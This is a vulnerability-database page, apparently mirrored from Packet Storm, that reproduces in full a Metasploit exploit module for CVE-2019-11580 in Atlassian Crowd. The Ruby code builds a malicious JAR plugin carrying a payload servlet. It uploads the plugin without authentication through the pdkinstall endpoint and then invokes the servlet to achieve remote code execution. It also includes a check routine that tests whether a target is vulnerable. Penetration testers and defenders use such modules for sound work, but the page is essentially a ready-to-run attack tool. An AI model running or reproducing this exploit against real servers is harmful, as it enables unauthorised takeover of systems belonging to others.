Lucene search
K

Atlassian Crowd pdkinstall Remote Code Execution

🗓️ 12 Aug 2021 00:00:00Reported by PaulType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 325 Views

Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE, Allows unauthenticated attackers to upload a malicious plugin as a JAR archive containing a servlet via the pdkinstall development plugin, leading to Remote Code Execution

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',  
'Description' => %q{  
This module can be used to upload a plugin on Atlassian Cloud via  
the pdkinstall development plugin as an unauthenticated attacker.  
The payload is uploaded as a JAR archive containing a servlet using  
a POST request to /crowd/admin/uploadplugin.action. The check command will  
check that the /crowd/admin/uploadplugin.action page exists and that it  
responds appropriately to determine if the target is vulnerable or not.  
},  
'Author' => [  
'Paul', # Vulnerability discovery  
'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.  
'Grant Willcox' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-11580'],  
['URL', 'https://jira.atlassian.com/browse/CWD-5388'],  
['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],  
['URL', 'https://www.corben.io/atlassian-crowd-rce/']  
],  
'Platform' => %w[java],  
'Arch' => ARCH_JAVA,  
'DefaultOptions' => {  
'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.  
},  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ]  
},  
'Targets' =>  
[  
[  
'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
]  
],  
'DisclosureDate' => '2019-05-22'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8095),  
OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),  
  
]  
)  
end  
  
def upload_plugin(content)  
data = Rex::MIME::Message.new  
data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),  
'method' => 'POST',  
'data' => data.to_s,  
'ctype' => "multipart/mixed; boundary=#{data.bound}"  
}, datastore['HttpClientTimeout'])  
end  
  
def generate_plugin_jar  
name = Rex::Text.rand_text_alpha(8..12)  
servlet_name = Rex::Text.rand_text_alpha(8..12)  
atlassian_plugin_xml = %(  
<atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">  
<plugin-info>  
<param name="atlassian-data-center-compatible">true</param>  
<description></description>  
<version>1.0.0</version>  
</plugin-info>  
  
<servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">  
<url-pattern>/#{name}</url-pattern>  
<description>#{Faker::App.name}</description>  
</servlet>  
</atlassian-plugin>  
)  
  
# Generates .jar file for upload  
zip = payload.encoded_jar  
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)  
  
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')  
zip.add_file('/metasploit/PayloadServlet.class', servlet)  
  
contents = zip.pack  
[contents, name]  
end  
  
def check  
print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')  
res = upload_plugin(Rex::Text.rand_text_alpha(45..120))  
if res.nil?  
CheckCode::Unknown('Was not able to connect to the target!')  
elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)  
CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")  
else  
CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")  
end  
end  
  
def exploit  
print_status('Generating a malicious JAR plugin...')  
content, plugin_name = generate_plugin_jar  
print_status('Uploading the malicious JAR plugin...')  
upload_plugin(content)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),  
'method' => 'GET'  
}, datastore['HttpClientTimeout'])  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Aug 2021 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.5
CVSS 3.19.8
EPSS0.94383
325